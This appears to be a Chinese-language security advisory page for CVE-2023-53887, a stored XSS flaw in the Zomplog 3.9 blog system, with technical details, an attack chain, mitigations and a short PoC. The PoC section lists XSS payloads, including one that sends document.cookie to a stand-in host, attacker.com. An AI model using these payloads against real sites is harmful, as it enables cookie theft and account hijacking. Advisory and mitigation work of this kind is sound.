IPBUF安全漏洞报告
English
CVE-2023-53887 CVSS 5.4 中危

CVE-2023-53887 Zomplog 3.9跨站脚本漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2023-53887
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Zomplog 3.9

相关标签

XSS跨站脚本Zomplog存储型XSSCVE-2023-53887Web应用安全PHP

漏洞概述

CVE-2023-53887是Zomplog 3.9版本中的一个存储型跨站脚本(Stored XSS)漏洞。Zomplog是一个基于PHP的博客系统,由荷兰开发者创建。该漏洞允许已认证的低权限用户在创建新页面时注入恶意脚本代码。攻击者可以通过构造包含恶意JavaScript代码的图片源属性(src)和错误处理属性(onerror)来触发漏洞。当其他用户访问包含恶意代码的页面时,攻击者可以在受害者浏览器中执行任意JavaScript代码,从而窃取会话cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于该漏洞为存储型XSS,恶意脚本会被永久保存在服务器上,所有访问该页面的用户都会受到攻击影响。漏洞的CVSS评分为5.4,属于中等严重程度,攻击向量为网络,攻击复杂度低,但需要认证用户身份且需要用户交互才能触发。

技术细节

该漏洞存在于Zomplog 3.9的页面创建功能中。系统在处理用户输入时未对图片源属性和onerror事件处理器进行充分的输入验证和输出编码。当用户创建新页面时,可以在页面内容中插入类似<img src=x onerror=alert(document.cookie)>的恶意代码。系统直接将该内容存储到数据库中,并在后续页面访问时未进行适当的安全转义就直接输出到HTML中。攻击者利用此漏洞可获取受害者的认证会话cookie,进而冒充合法用户进行操作。由于需要低权限账户即可实施攻击,且漏洞影响页面创建功能,攻击者可以在博客系统中持久化其恶意payload,影响所有访问该页面的用户。修复方案需要在输入端进行严格的白名单过滤,在输出端对所有用户提供的内容进行HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者获取Zomplog系统低权限账户
STEP 2
步骤2
登录系统后访问页面创建功能
STEP 3
步骤3
在页面内容中注入恶意XSS payload,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
系统未进行输入验证,将恶意代码存储到数据库
STEP 5
步骤5
受害者访问包含恶意代码的页面
STEP 6
步骤6
恶意JavaScript在受害者浏览器中执行,窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2023-53887 PoC - Zomplog 3.9 Stored XSS --> <!-- Steps: --> <!-- 1. Login to Zomplog with low-privilege account --> <!-- 2. Navigate to page creation functionality --> <!-- 3. Inject the following payload in page content --> <img src=x onerror=alert(document.cookie)> <!-- Alternative payload for cookie stealing: --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- XSS via image source attribute: --> <img src="javascript:alert(document.domain)"> <!-- Event handler injection: --> <svg onload=alert(document.cookie)>

影响范围

Zomplog 3.9

防御指南

临时缓解措施
在等待官方修复期间,可以采取以下临时措施:1)限制页面创建功能的权限,仅允许管理员操作;2)在Web应用防火墙(WAF)中配置XSS防护规则,拦截包含img标签和onerror属性的请求;3)实施输入验证,对<img、onerror、javascript:等关键词进行过滤或编码;4)启用Content-Security-Policy响应头,限制内联脚本执行;5)监控日志中的异常XSS探测请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表